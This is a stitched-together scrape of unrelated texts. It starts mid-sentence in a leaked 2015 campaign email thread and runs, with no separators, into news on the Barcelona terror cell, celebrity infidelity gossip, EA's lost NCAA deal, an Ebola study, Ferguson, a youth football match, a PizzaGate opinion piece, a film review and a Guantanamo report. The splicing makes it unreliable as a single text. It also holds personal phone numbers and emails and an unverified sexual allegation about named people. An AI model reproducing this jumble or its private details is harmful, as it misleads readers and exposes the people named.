Nikki's report, he and I talked and I told him that I woul= d still be worried about Fire if the event was held in Providence. One reas= on it is not being held in Providence. Based on his numerous emails and calls, it appears that Mark was not happy = that he was not directly in engaged in the event nor was he happy that Paul=, with whom he has a close relationship, had not "blessed" the event. I bel= ieve Nikki was asked to call Paul in follow-up to Mark's numerous emails an= d calls. So now we are here - being asked to have the guest list preapproved. And ev= en though my understanding is the Mayor of Providence is not attending - th= at seems beside the point now. > On Nov 25, 2015, at 10:59 AM, Nikki Budzinski <nbudzinski@hillaryclinton.= com> wrote: >=20 > Hello- > I wanted to share with you details of my phone conversation with Providen= ce Fire Fighter President Paul Doughty this morning. Understanding that Pr= esident Clinton is hosting a RI Fundraiser, I checked in with David Billy f= rom the IAFF regarding the Providence Fire Fighters situation with their Ma= yor and possible tensions. I was told that they were not aware of any imme= diate situation although there is no love between the Governor or Mayor of = Providence still. There were no immediate red flags raised. >=20 > I was then asked to reach out to Providence Fire Fighter Local President = Paul Doughty directly to ensure his awareness that both the event would not= take place in Providence nor was the Mayor attending the event on December= 7th and that as a courtesy we wanted to reach out with this information, u= nderstanding there have been past tensions. =20 >=20 > President Doughty told me that he understands from his sources within the= Mayor's office that he does intend to attend the fundraiser and that unles= s he receives a letter in writing from the Mayor affirming his intentions n= ot to attend, the fire fighters will put up a picket outside of the event i= n East Greenwich. I reiterated to Doughty, that both this event is not bei= ng held in Providence nor is the Mayor invited to attend. But he again sta= ted his position of a picket without letter from the Mayor stating that he = will not be in attendance. I told him I would have to share this with both= President Clinton and HRC's senior staff. He told me to go ahead. >=20 > Very unreasonable and ridiculous. Let me know what I can do to help from= here. > Nikki=20 >=20 > --=20 > Nikki Budzinski > Labor Outreach Director > Hillary for America > 646-854-1442 (direct)Police have found a total of 120 gas canisters at what they believe was a bomb-making factory operated by the terror cell that attacked Spain this week.
The 12-strong cell were planning to pack the canisters into three rented vans along with plastic explosives in order to carry out a much bigger atrocity, investigators say.
But an accidental explosion on Wednesday killed one member of the cell, may have taken out the group's mastermind, and wounded their suspected bomb-maker, forcing them to switch to 'rudimentary' tactics, officers said.
A total of 120 canisters which contained deadly butane gas were recovered from a home in Alcanar, 60 miles south of Barcelona, which is believed to have been a bomb-making factory operated by the terror cell that attacked Spain
Police say the canisters were going to be packed into three rented vans along with plastic explosives in order to carry out a massive scale attack
But an accidental explosion at the property on Wednesday forced the group to switch to 'rudimentary' attacks which were carried out in the following days before they could be caught
The following day a man believed to be Younes Abouyaaqoubdrove a rented van into crowds in Barcelona, killing 13 and injuring more than 120.
In the early hours of Friday morning five more jihadis launched a car and knife attack in the city of Cambrils, killing one woman and wounding another 10 before being shot dead by a police officer.
While Abouyaaqoub has still not been found, police say the remains of Abdelbaki Es Satty, who is thought to have masterminded the plot, may have been buried in the Alcanar apartment.
Satty is believed to have organised the attacks after radicalising young men through his mosque in the town of Ripoll, where the majority of the attackers lived.
Islamic preacher Abdelbaki Es Satty is thought to have mastermined the attack, and may have been killed in the Alcanar blast
The imam, who was once convicted of smuggling cannabis,has connections with suspects detained over the 2004 al-Qaeda train bombings which killed 191 people and injured 1,500 in Madrid, counter-terrorism sources told El Pais.
News website OK Diario reported the preacher previously lived in Barcelona with members of a terrorist cell which was smashed by police in 2006.
Another of his former flatmates, Belgacem Bellil, blew himself up in a suicide attack in Iraq in 2003, the website said.
Belgacem, an Algerian, detonated 3500lbs of explosives in a truck at a military base, killing 28 people including 19 Italians in al-Nasiriyah in November 2003.
Es Satty also spent two years in prison after being caught smuggling cannabis between north Africa and Spain, El Periodico newspaper reported.
Police are investigating whether Es Satty was responsible for radicalising the members of the cell who carried last week's atrocities in Barcelona and Cambrils.
They searched the imam's flat in Ripoll, Spain, for samples of DNA and fingerprints to verify whether he was killed at the bomb factory where the terror cell prepared a planned attack with butane gas bombs.
Police found the remains of two bodies in the factory in Alcanar and are said to be searching for a third.
Images from inside the home show outdated appliances, white walls and bedrooms with mattresses on the floor.
Papers bearing what appeared to be French names, phone numbers and e-mail addresses were seen by reporters in Es Satty's apartment after it was searched.
The walls are mostly bare, though a couple framed images hang on the walls of the sitting room.
Es Satty, 45, began preaching in Ripoll around two years ago but stopped two months ago, sources at the town's mosque said.
The president of the mosque where Es Satty preached, Ali Yassine, said he hadn't seen him since June, when he announced he was returning to Morocco for three months.
They searched his flat for samples of DNA and fingerprints to verify whether he was killed at the bomb factory where the cell prepared a planned attack with butane gas bombs
Es Satty's flatmate said he hadn't seen him since Tuesday, when Es Satty said he was going to Morocco to see his wife
Images from inside the home show outdated appliances, white walls and bedrooms with mattresses on the floor
The flat's kitchen features patterned wal, paper, a small gas stove and oven, as well as a small refrigerator
The walls are mostly bare, though a couple framed images hang on the walls of the sitting room
In the bathroom, toothbrushes and shaving cream still sit by the sink, next to a large bottle of soap
'He left the same way he came,' said a bitter Wafa Marsi, a friend to many of the attackers, who appeared Saturday alongside their families to denounce terrorism.
Police sources told Spanish media he followed the fundamentalist Salafi branch of Islam.
Detectives were said to be investigating whether he radicalised the young men who planned and carried out the atrocity on Thursday afternoon.
Es Satty's flatmate, named only as Nourddem, said the preacher had left home on Tuesday 'because he was leaving for Morocco'. Nourddem has heard nothing from him since.
'The last time I saw him was Tuesday and he told me that he was going to see his wife in Morocco,' Nourddem told AFP.
Police sources told El Mundo newspaper Es Satty's age and profile suggested he might be the leader of the terror cell. The Mossos d'Esquadra would not comment on that claim.
Everyone so far known in the cell grew up in Ripoll, a town in the Catalan foothills near the French border 100 kilometers (62 miles) north of Barcelona.
A police document published by Spanish media said two alleged members of the group, Youssef Aallaa and Mohamed Hichamy, now both believed dead, had travelled to Zurich in December 2016.
Swiss newspaper Tages-Anzeiger said Swiss police confirmed that at least one of the Barcelona suspects had been in Zurich in December 2016, although it said it was not yet possible to say if the suspects had any connections to Switzerland. An investigation of the visit was under way, it said.
One of the pictures in the flat's living room sits nearly parallel with the door frame, and appears to be an image of a mosque
A bedroom is seen after the police raided the flat where imam Abdelbaki Es Satty lived in Ripoll, north of Barcelona
The entrance to the flat where imam Abdelbaki Es Satty lived is seen after the police raided it
Es Satty, 45, began preaching in Ripoll around two years ago but stopped two months ago, sources at the town's mosque said
The president of the mosque where Es Satty preached, Ali Yassine, said he hadn't seen him since June, when he announced he was returning to Morocco for three months.
Shoes are seen at a mosque where imam Abdelbaki Es Satty preached in Ripoll, north of Barcelona
Police sources told Spanish media Es Satty followed the fundamentalist Salafi branch of Islam
Detectives were said to be investigating whether he radicalised the young men who planned and carried out the atrocity on Thursday afternoon
Spanish police searched nine homes in Ripoll, including Es Satty's, and two buses, and set up a roadblock that checked each car entering the town. Across the Pyrenees, French police carried out extra border checks on people coming in from Spain.
Neighbors, family and even the mayor of Ripoll said they were shocked by news of the alleged involvement of the young men, whom all described as integrated Spanish and Catalan speakers with friends of all backgrounds.
Halima Hychami, the weeping mother of Mohamed Hychami, one of the attackers named by police, said he told her he was leaving on vacation and would return August 25. His younger brother, Omar, slept late Thursday and left mid-afternoon.
Mohamed Hychami is believed among the five attackers shot to death by police in Cambrils. She hasn't heard from Omar since he left.
'We found out by watching TV, same as all of you. They never talked about the imam. They were normal boys. They took care of me, booked my flight when I went on vacation. They all had jobs. They didn't steal. Never had a problem with me or anybody else. I can't understand it,' she said.
Even with Abouyaaquoub at large, Spanish Interior Minister Juan Ignacio Zoido declared the cell 'broken' Saturday.
Families of the local Muslim community gather to denounce terrorism and show their grief in Ripoll, north of Barcelona, Spain
Authorities in Spain and France pressed the search Saturday for the supposed ringleader of an Islamic extremist cell that carried out vehicle attacks in Barcelona and a seaside resort
This rented van brought terror to the streets of Europe when it was driven at speed down a busy street in central Barcelona, killing 14 including a three-year-old boy
A man lying on the street in Barcelona after the van ploughed into pedestrians along Las Ramblas
In addition to the five killed by police, four were in custody and two or three were killed in a house explosion Wednesday. He said there was no new imminent threat of attack.
Police also conducted a series of controlled explosions Saturday in the town of Alcanar, south of Barcelona, where the attacks were planned in house that was destroyed Wednesday by an explosion.
Authorities had initially thought it was a gas accident, but took another look after the attacks.
Initially, only one person was believed killed in the Wednesday blast. But officials said DNA tests were underway to determine if human remains found there Friday were from a second victim. On Sunday, it was revealed that there might be third body.
A police official, speaking on condition of anonymity to discuss the ongoing searches, said investigators believed the remains may belong to Es Satty.
Spanish authorities said on Sunday that they have been unable to identify the remains found in at a house, complicating the manhunt for the Barcelona attackers because they are not confident about who is on the run.
The official said investigators also discovered ingredients of the explosive TATP, used by the Islamic State group in attacks in Paris and Brussels, as well as multiple butane tanks that the group may have wanted to combine with the homemade explosive and load into their vehicles.
A woman cries as she holds a banner reading in Catalan 'we also suffer it' during a demonstration on Barcelona's historic Las Ramblas promenade
A woman holds a banner reading in Spanish 'Islam means Peace' during a demonstration on Barcelona's historic Las Ramblas promenade, where a van attack killed 14 people
People pay their respects at a memorial tribute of flowers, messages and candles to the victims on Barcelona's historic Las Ramblas promenade on the Joan Miro mosaic
A man with his son light candles at a memorial tribute of flowers, messages and candles to the victims on Barcelona's historic Las Ramblas promenade on the Joan Miro mosaic, embedded in the pavement where the van stopped
An official said on Sunday that more than 100 butane gas tanks and explosive ingredients were stored in the house.
Police official Josep Lluis Trapero said 'that makes us think this is the place where they were preparing the explosives'.
He told reporters at a news conference Sunday that the radical cell of 12 people 'had planned one or more attacks with explosives' in Barcelona. The cell rented three vans and also used a car and motorcycle.
Neighbors on Saturday said they had seen three vehicles coming and going from the home, including an Audi used in the Cambrils attack and the van used in the Barcelona attack.
Locals in Ripoll said the preacher had kept to himself and had not integrated into the muslim community in the town. Around 500 north Africans live in Ripoll.
Es Satty gave Arabic classes to children but never revealed any extremist beliefs, locals said. But he did tell people in the town that he travelled regularly to Belgium, a hotbed of Islamic extremism.A blonde Australian beauty claims she slept with Khloe Kardashian‘s new beau James Harden AFTER the stars began dating.
Rochelle Relf told Australian magazine New Idea that that her hook-up with the 25-year-old NBA All-Star took place in June at The Star, a casino in Sydney.
“Khloe was with James in Hawaii, then he flew to Australia and spent the night with me,” the 23-year-old Relf told the magazine. “He was charming, affectionate — he asked me to visit him in America and told me that he was a single guy.”
PHOTOS: ‘Falling Apart!’ Khloe Kardashian Partying Hard To Numb Broken Heart — Friends Fear For The ‘KUWTK’ Star
Things heated up when the two headed into the club at the hotel Marquee, where Relf said that Harden was “all over” her, as they were “openly kissing and holding hands.
“At one point, the security guard left forward and told us to stop touching but James didn’t listen to him.”
Relf, who calls herself an animal rights activist on her Instagram page, said that Harden, a Southern California native, “kept checking I was single and asked if a boyfriend would come bursting through the door looking for me.
PHOTOS: Hot Water Again! Khloe Kardashian Stirs Up Muslim Clothing Controversy In Dubai: 10 Clicks — Is She Culturally Insensitive?
“I laughed and asked if any girl was going to come bursting through the door looking for him and he said, ‘No.'”
Relf said that in coming clean about the tryst, she doesn’t “want to hurt Khloe,” but rather alert her to her new love’s wandering eye — an issue she had to deal with in the past with cheating ex Lamar Odom.
“As a woman, I think we need to hear these things and she should know the truth,” Relf said, painting a picture of how charming the Houston Rockets shooting guard comes off with the ladies.
PHOTOS: ‘Damned If I Do, Damned If I Don’t’: Khloe Kardashian Lovely At LAX After Twitter Rant Over Baltimore Riots
“James is very good at making himself out to be a loyal person. He is Mr. Romantic and says what you want to hear. But he is in no way ready to be settling down, and it’s no secret Khloe wants a family.”
She added that, “Khloe has been through a lot” and that she should avoid similar mistakes with the “love rat” Harden.
“I’m saying all of this because she shouldn’t be wasting time on this guy,” she said. “He was happy to be entertaining girls in his hotel room and if he was my man, I would be chucking his clothes out on the street.”Electronic Arts just lost one of its most important licensing deals. The National Collegiate Athletic Association has publicly announced that it won't be renewing its contract with EA when the current deal lapses in June 2014. That means NCAA 14, released earlier this month, will be the final collaboration between both sides. In a statement, the NCAA said "given the current business climate and costs of litigation, we determined participating in this game is not in the best interests of the NCAA." The association is likely referencing accusations that the NCAA and EA have inappropriately included identifiable athlete likenesses in games; one pending antitrust suit includes former UCLA player Ed O'Bannon and a dozen other athletes among its plaintiffs.
It's a worrying development for EA, particularly as the publisher attempts to renew its long-exclusive agreement with the NFL. Like the NCAA, the NFL's contract with EA is soon set to expire following the release of NFL 25 in August. Still, there's been no indication that the NFL is unhappy with where things currently stand. Holding onto pro football, hockey, and soccer rights would minimize the impact of an expired NCAA deal.
EA's grasp on sports is loosening
Importantly, the NCAA's decision doesn't forbid EA from making a college football game, but the publisher would be barred from using the NCAA name / logo and would need to negotiate licensing with universities on an individual basis. The NCAA says colleges "will have to independently decide whether to continue those business arrangements in the future."
Even if the two should eventually patch things up, the days of EA's exclusive grasp on NCAA football are over. As Polygon points out, a class-action settlement last year ended with EA agreeing not to form exclusive agreements for a period of five years after NCAA Football 14.
Update: And it turns out EA intends to press on with publishing college football games. Executive VP of EA Sports Andrew Wilson has issued a statement confirming his company "will no longer include the NCAA names and marks" in future titles. But the industry giant is "already working on a game for next generation consoles" due next year featuring college teams and leagues. EA and the Collegiate Licensing Company — which represents dozens of universities — both describe their working relationship as "strong." "We love college football and look forward to making more games for our fans," Wilson says.New study eases fears of airborne Ebola
At the peak of the Ebola epidemic last fall came a frightening new possibility: a mutation that could allow the disease to spread through the air. Now University of Florida researchers have dispelled this concern using data from current and past Ebola outbreaks.
The team — led by associate professor Marco Salemi of UF’s Department of Pathology and Emerging Pathogens Institute, in collaboration with the Italian Institute of Health — revealed its findings in a study published today in Nature Scientific Reports.
In August, an international research team found that genetic changes in the virus were occurring twice as fast as previously seen. In September, a U.S. researcher caused a stir by suggesting that the virus could mutate to become transmissible through the air.
In the current study, the research team looked at samples from patients and great apes collected during Ebola epidemics from 1976 through 2014. They discovered that most genetic changes are lost between epidemic waves and found little evidence to support the evolution of a more powerful or transmissible virus. That’s good news not only for Central and West Africa, but for researchers developing tests, vaccines and treatments for Ebola.
While concern about airborne Ebola may persist, the likelihood of the virus becoming an airborne infection is extremely low, says Taj Azarian, the lead author of the study.
“We know of no virus that has radically changed its mode of transmission due to genetic mutations,” he said. “It seems the Ebola virus is more stable than earlier studies suggested.”
Credits
Sources:
Taj Azarian, 352-494-2011, taj.azarian@epi.ufl.edu
Marco Salemi, 352-273-9567 or 352-273-8288, salemi@pathology.ufl.eduFERGUSON, Mo. — For four nights in a row, they streamed onto West Florissant Avenue wearing camouflage, black helmets and vests with “POLICE” stamped on the back. They carried objects that doubled as warnings: assault rifles and ammunition, slender black nightsticks and gas masks.
They were not just one police force but many, hailing from communities throughout north St. Louis County and loosely coordinated by the county police.
Their adversaries were a ragtag group of mostly unarmed neighborhood residents, hundreds of African-Americans whose pent-up fury at the police had sent them pouring onto streets and sidewalks in Ferguson, demanding justice for Michael Brown, the 18-year-old who was fatally shot by a police officer on Saturday.
When the protesters refused to retreat from the streets, threw firebombs or walked too close to a police officer, the response was swift and unrelenting: tear gas and rubber bullets.A last-gasp penalty conversion by Indian captain Suresh Singh kept the hosts alive in the AFC Under-16 Championship following a thrilling 3-3 draw against Saudi Arabia in Margao on Sunday.
India were given the perfect start with early goals by Aniket Jadhav and Aman Chetri, but then found Saudi Arabia coming back into the game through Sulaiman Aldhuwayhi. Two second-half goals by substitute Feras Albrikan threatened to knock India out of the tournament, before they earned and converted the penalty with literally the last kick of the game.
With Iran and United Arab Emirates, the other two teams in Group A playing out a 1-1 draw earlier in the day, no team is yet guaranteed a place in the quarterfinals going into the final day of group matches.
India were the brighter starter of the two, with Aman finding himself in space in the middle of the pitch, from where he released Aniket to his right. Aniket's attempted shot ricocheted on to an onrushing Amarjit Singh, who took the first shot on the goal in the match.
Two minutes later, Sanjeev Stalin took a throw from the left which was met by Komal Thatal, who wasted no time in cutting the ball back in for Aniket, who controlled the ball with his first touch and then placed it across the face of goal to give India the lead. The Indians had a chance to increase the lead in the 13th minute, when Sanjeev looked to chip Saudi Arabian goalkeeper Hashem Alasmari from the left, and Alasmari's save almost fell for Komal.
However, India were not to be denied in the 22nd minute, when Boris Singh put in an energetic run from the left flank. He took out two defenders and then with the Saudi defence at his mercy, selflessly cut the ball back for Aman, whose first-time attempt took a diving defender's hand but rolled into the vacant net.
The two-goal deficit whipped the former champions into action, as first Hamad Alabdan took advantage of a poor clearance from his own corner to cut inside and shoot at the target from close range, but Dheeraj Singh palmed the ball away. In the next few minutes, there were speculative attempts on goal from Dhari Alanazi and Albeshe Mansor.
In the 34th minute, Saudi's efforts bore fruit as Alanazi's cross from the left was met by a powerful header from Aldhuwayhi. With a goal behind them, the Saudi Arabian attack kept the pressure on their opponents and Aniket found his name going into the referee's book in the 38th minute with a high challenge on Alanazi.
In first half injury time, a freekick from the left found Saudi captain Mousa Almas, but his right-footed effort beat Dheeraj in goal but hit the post. A minute later, India conceded a penalty when Aldhuwayhi was held back by Sanjeev, but from the resultant penalty, Dheeraj effected his second penalty save in two matches.
Early in the second half, the Indian coach Nicolai Adam chose to go a little conservative with his substitutions, bringing on Ninthoinganba and Lalengmawia in place of his two scorers. Saudi would do exactly the opposite as the half wore on, at one stage bringing on tall strikers Albrikan and Turki Almutairi.
In the 71st minute, Almutairi's first contribution was to use his build to good effect in meeting a cross from the right by Almas, but his stinging header went just wide of Dheeraj's goal. Saudi Arabia eventually found their equaliser off a well-worked short corner routine in the 82nd minute, as Albrikan met a low cross from the left and stabbed it home.
Within a minute, Albrikan used the side of his heel to tap Saudi Arabia into the lead for the first time in the match after a low cross was whipped in by Alsawat Abdullah, this time from the right.
With the match heading towards the end, Mali had the chance to put the game beyond India's end in injury time, but his right-footed effort from distance came off the crossbar. With the four minutes of added time fast elapsing, India were given a freekick near the centre line, which was taken by Dheeraj.
From the resultant goalmouth melee, Lalengmawia picked the ball up inside the box and moved towards goal, but he was blocked by goalkeeper Alasmari. Suresh would quell all challengers for the penalty kick, and his conversion was spot on, sending the keeper the wrong way and burying the ball in the top corner.
India's last match against Iran is on September 21 and will kick off at 7 pm, with India needing a win to have any chance of making it to the last eight.The media have gone predictably insane over the story that a 28-year-old nutjob walked into Comet Ping Pong pizzeria in Washington, D.C. with a shotgun and fired one blast before being arrested. What drove Edgar Maddison Welch of Salisbury, North Carolina to attempt assault with a deadly weapon? He said that he came to perform an investigation into #PizzaGate, a completely fictional conspiracy theory about a child sex ring led by top Democrats.
The #PizzaGate nonsense has been pushed by the Trumpian underground for months. Even today, the son of new National Security Advisor General Michael Flynn had this to say about PizzaGate:
Until #Pizzagate proven to be false, it'll remain a story. The left seems to forget #PodestaEmails and the many "coincidences" tied to it. https://t.co/8HA9y30Yfp — Michael G Flynn(@mflynnJR) December 5, 2016
As Daily Wire editor-at-large John Nolte notes, the media quickly used the story as a club in their new crusade against so-called “fake news,” which they have labeled any news of which they do not approve. Some of the “fake news” the media decry is indeed fake news, but much of it is just conservative angles on the news. Nolte writes:
More than a dozen police officers have been ambushed in the wake of this very same media spending day after relentless day in Ferguson, Missouri, spreading the Fake News that strong-arm convenience store robber, Michael Brown, a young black man, was nothing more than an "gentle giant" murdered in cold blood by a white, racist police officer…. In the two years since, despite the media's Ferguson lies resulting in that predominantly black city being looted and burned, our media has chose to learn nothing. Still, whenever a black man is shot by a police officer, even a black police officer, the completely unfounded and unproven specter of Racism is immediately raised by the Kings of Fake News: CNNABCNBCMSNBCCBSPBSNPRNewYorkTimesWashingtonPost.
This is indubitably correct. But just because the left has ignored and disparaged truth for years is no excuse for the right to do so as well. And unfortunately, truth-free politics seems to be growing exponentially on the right.
A large part of that newfound disregard for truth springs from the Trump campaign. Trump pathologically and regularly lied on the campaign trail, on everything from Cindy Sheehan-esque lies about George W. Bush to ridiculous lies about Ted Cruz’s father (here was a very partial list of Trumpian lies just through April 2016). This has driven heretofore truthful people into the position of defending lies generally – if Trump does it, then untruth must be okay, since the left lies regularly and they must not have a monopoly on lying.
So, for example, this weekend saw a bevy of lies from top Republicans associated with the incoming Trump administration. Last week, Trump lied on Twitter, stating that there had been millions of fraudulent voters in the election, nearly all for Hillary Clinton:
In addition to winning the Electoral College in a landslide, I won the popular vote if you deduct the millions of people who voted illegally — Donald J. Trump (@realDonaldTrump) November 27, 2016
Here was incoming White House Chief of Staff Reince Priebus’ response when asked about the tweet: “Well, I don’t know if that’s not true…There are estimates all over the map on that, and here’s the problem, no one really knows…It’s possible.” Priebus could offer no proof that Trump’s tweet was true. When CBS News’ John Dickerson replied, “I guess the question is, when you’re president, can you just offer a theory that has no evidence behind it, or does he have to tighten up his standard of proof?,” Priebus answered, “I think he’s done a great job. I think the president-elect is someone who has pushed the envelope and caused people to think in this country, has not taken conventional thought on every single issue.”
Then there was Vice President-Elect Mike Pence, who was asked by ABC News’ George Stephanopoulos, “It’s his right to make false statements?” Pence stated, “Well, it’s his right to express his opinion as president-elect of the United States. I think it’s one of the things that’s refreshing about our president-elect and one of the reasons why I think he made such an incredible connection with people all across this country is because he tells you what’s on his mind.” Stephanopoulos reiterated, “why is it refreshing to make false statements?” Pence said, “Look, I don’t know that that is a false statement, George, and neither do you.”
Or try Speaker of the House Paul Ryan. When CBS’ Scott Pelley asked Ryan about the voter fraud allegations, Ryan answered, “I don’t know, I’m not really focused on those things…I have no way of backing that up. I have no knowledge of such things.” Pelley continued to push, and Ryan stated, “It doesn’t matter. He won the election. The way I see the tweets you’re talking about, he’s basically giving voice to a lot of people who have felt that they were voiceless.”
These demagogic non sequiturs undercut conservative claims to value the truth. And that has policy consequences: the supposedly conservative Pence and company have been pushing the lie for a week now that the free market is a failure and case-by-case economic fascism from above is the solution to lost American jobs. When truth doesn't matter, lies about policy are sure to follow.
This ongoing soul-suck from the Trump campaign has been at play for months. Last week, sometime Trump campaign manager Corey Lewandowski – a man with his own peculiar disregard for the truth – explained Trump’s appeal thusly: “This is the problem with the media. You guys took everything that Donald Trump said so literally. The American people didn’t. They understood it. They understood that sometimes – when you have a conversation with people, whether it’s around the dinner table or at a bar – you’re going to say things, and sometimes you don’t have all the facts to back it up.” Scottie Nell Hughes, another Trump surrogate, explained last week, “There’s no such thing, unfortunately, anymore as facts. And so Mr. Trump’s tweet, amongst a certain crowd – a large part of the population – are truth. When he says that millions of people illegally voted, he has some – amongst him and his supporters, and people believe they have facts to back that up.” Here was new Secretary of Housing and Urban Development nominee Dr. Ben Carson, a religious Christian, sounding off about allegations of Trump’s sexual assaults during the campaign: “It doesn’t matter whether they’re lying or not. What matters is that the train is going off the cliff and we’re taking our eye off of that and we’re getting involved in other issues that can be taken care of later.”
This is pure ends-justify-the-means logic. And the means are pushing falsehood. The notion here seems to be that Trump is helping America avoid perdition, and thus must be given leeway to lie; if we didn’t allow him to lie, the left would continue to do so, and then they’d win and drive us straight into Hell. But that suggests that truth no longer has the capacity to drive voters or Americans. If that’s true, republicanism is finished as a principle – if we can only lie to voters to get them to vote for us, that undermines the decency of republicanism altogether.
Conservatives used to care too much about values and republicanism to buy ends-justify-the-means logic. But it increasingly appears that political expedience now outweighs basic morality. At least one side of the political spectrum seemed to care about truth. Now both sides are competing to see who can race to the bottom fastest.ORLANDO – Tally Hall channeled his inner Clubber Lang when he outlined Orlando City SC’s possible route to this season’s playoffs with a one-word image: Pain.
The Lions goalkeeper is one of only three players on the roster with extensive playoff experience, and he was asked to explain what it will take to get the expansion team into the postseason in their first MLS campaign.
And Hall was quick to pick up on the description Mr. T’s villainous character in Rocky III used to describe his forthcoming bout with Rocky.
“You get to this point in your career and you can use these lessons to tell the guys to know what they are in for,” Hall said after the team’s training session Thursday. “Basically, at this time of the season, it is hard to walk after games. You have to give your entire body from here on out.
“That’s the level that it takes when it comes to the end-of-season playoffs. It is hard, it is physical and there are no shortcuts. You have to stay optimistic and work your butts off.”
Hall and fullback Corey Ashe – both from their Houston Dynamo days – and former Sporting Kansas City star Aurelien Collin are the Orlando trio with the inside track on making a playoff run. Hall thinks their combined experience will be crucial in the final seven games of the regular season.
“You look at the best teams that I have been on, teams that have made it to the playoffs, and you see what it takes,” Hall said. “And you know that there is always a team that no one expects to make a run at this stage.
“Every year there is someone that surprises everyone, and obviously we are trying to be that team right now. We know everything is on the line, but we have an opportunity to be that team, and we have to stay positive.”
Hall knows that defensively things have not gone well in recent away games and, with a trip to Gillette Stadium looming on Saturday (7:30 pm ET; MLS LIVE) – where New England Revolution have lost just once this season – there will be even more scrutiny on the defensive unit.
Get more Lions news at OrlandoCitySC.com
Orlando’s last three road games have produced only one goal and 13 against, and, after draws in their last two home games, they know their playoff hopes now hinge on taking points away from home with four of their final seven games on the road.
“Yes, as a defensive unit we have something to prove no matter who we are playing,” Hall admitted. “We need to get back to being the team that other teams have to work hard to get through. It’s a cliché, but defense wins championships and teams that give up a lot of goals typically don’t make it very far.
“But the key is in the overall team performance and, defensively, there is extra focus on staying together. We need the guys in midfield blocking up the holes and the four defenders moving as one unit and keeping the line intact.”
Orlando are also not dwelling on the international absences of Kaká, Cyle Larin and Darwin Ceren, but Hall is hopeful of seeing US international Brek Shea back in the lineup again soon following his sports hernia surgery two months ago.
“Brek is an important aspect to our team,” Hall said. “So it is good for us to see him back on the training field. We know he may not be quite there in match fitness terms yet but we will be excited to see him back on the field, whenever that is.”Project Management Academy's Back to School Giveaway
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for It Follows has been almost off-the-charts positive since it was released last month. The reality is that I can’t ignore a 95% rating on Rotten Tomatoes. And given that it wasn’t a slasher/torture horror movie (I don’t often like those), I decided it was worth checking out and seeing if it could live up to the hype. While I’m not sure it’s the greatest horror movie I’ve seen, it was the hauntingly unpleasant experience I had hoped it would be.
Jay (Maika Monroe) really likes Hugh (Jake Weary), the guy she’s been dating. But after their first serious sexual encounter, things take a disturbing turn when Hugh reveals that he’s passed something far more sinister than an STD on to her: a relentless creature will now hunt her until it catches and kills her unless she passes the curse on to some other lover.
One thing that struck me about It Follows was how much of the horror takes place in broad daylight. It’s easier to scare people at night because the dark tends to feed into our fears and let our imaginations run wild. But It Follows doesn’t rely on the conventional dark to terrify us. The radiant, typically protective sun does nothing to bother the inexorable “It” (and its titular following). With the light providing no sanctuary, the characters were vulnerable at any time of day, keeping them (and us) constantly on edge and allowing a general sense of discomfort/unease to be cultivated and maintained from start to finish.
On top of its fearlessness, It is special because It can and will be anyone. Whether in the guise of loved ones or strangers, It will come for you day and night and it’s a distinct possibility that you won’t see it coming. The subtle, understated nature of this monster (in contrast to a shrieking, hideous cliché) enhances how terrifying it really is. Of course it’s supernatural, but that simplicity gives it a strange and unsettling sense of realism.
Part of me enjoys the sensation of the cheap, jump thrill that seems an integral part of the horror movie formula. But most of me prefers the way It Follows toyed with those kinds of expectations, instead building a consistently creepy atmosphere and then weaving in the scares organically… but also hinting at scares that would in fact never come, often leaving the audience satisfactorily manipulated/punished for bringing outdated expectations in with them. The film also does a great job of leaving things ambiguous, not being driven to constantly explain things that don’t need to be explained and instead often providing clues and simply trusting viewers to fill in gaps themselves. It’s always a great feeling when a film has some faith in its audience’s intelligence.
Besides Keir Gilchrist (who played one of Jay’s close friends and semi-love interest), I haven’t seen any of the film’s actors’ previous work, although many of the faces felt vaguely familiar. There’s always a risk using relatively unknown actors (a reality that most independent films have to contend with) but the cast of It Follows is effective and convincing as this group of teenagers trying to navigate a bizarre and terrifying predicament. No one performance (other than Gilchrist’s, I suppose) stood out to me (possibly a good thing), allowing the horror of the story to be the focus the entire time.
The movie isn’t particularly long, but I did run into some issues with the pacing. At a few points, I was tempted to check my watch (although it never got so bad that I surrendered to the temptation). There were a few minutes here or there that could have been trimmed to make everything feel tighter and tauter, but it bodes well that that’s probably my biggest complaint.
While It Follows isn’t a movie that throws nonstop scares at the viewer, it manages to do something far more interesting by building and maintaining an atmosphere that keeps the viewer’s heart rate elevated for the duration. There aren’t so many peaks of terror, but there also aren’t many valleys of tedium. It Follows is the kind of horror movie that’s palatable to horror buffs and haters both. It should be seen.
7.6/10
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By Arshad Mohammed
WASHINGTON, July 10 (Reuters) - The United States said on Sunday it had transferred a Yemeni inmate from the Guantanamo Bay prison to Italy, bringing the number of detainees at the U.S. naval base in Cuba to 78.
Fayiz Ahmad Yahia Suleiman was approved for transfer nearly six years ago by six U.S. agencies - the Departments of Defense, State, Justice and Homeland Security, the Office of the Director of National Intelligence, and the Joint Chiefs of Staff.
"The United States is very grateful to the Government of Italy for its continued assistance in closing the detention facility at Guantanamo Bay," said Lee Wolosky, the U.S. special envoy for Guantanamo's closure, describing the effort to shut the prison as a "shared goal."
A Pentagon spokesman declined comment on whether the man would be subject to detention in Italy and referred that question to the Italian government, which said it was taking him on "humanitarian grounds" but provided no further details.
The Yemeni man was arrested by Pakistani police and transferred to U.S. custody in December, 2001, meaning he had been in U.S. detention for more than 14 years, according to U.S. military documents posted online by the WikiLeaks website.
U.S. President Barack Obama, who had hoped to close the prison during his first year in office in 2009, rolled out his plan in February aimed at shutting the facility. But he faces opposition from many Republican lawmakers as well as some fellow Democrats.
Most of the 78 prisoners who remain at Guantanamo have been held without charge or trial for more than a decade, drawing international condemnation.
The Guantanamo prisoners were rounded up overseas when the United States became embroiled in wars in Afghanistan and Iraq following the Sept. 11, 2001, attacks on New York and Washington.
The facility, opened by Obama's Republican predecessor, George W. Bush, came to symbolize aggressive detention practices that opened the United States to accusations of torture.
Obama's plan for shuttering the facility calls for bringing the several dozen remaining prisoners to maximum-security prisons in the United States. U.S. law bars such transfers to the mainland.
The United States has struggled to persuade other nations to accept the prisoners because of concerns they could launch attacks and by America's unwillingness to accept them on the U.S. mainland. (Reporting by Arshad Mohammed; Additional reporting by Crispian Balmer in Rome and Matt Spetalnick in Washington; Editing by Mary Milliken and Peter Cooney)
Our Standards: The Thomson Reuters Trust Principles.Texas sports anchor Dale Hansen came to the defense of a transgender teen athlete in a two-minute address that’s worthy of repeat viewings.
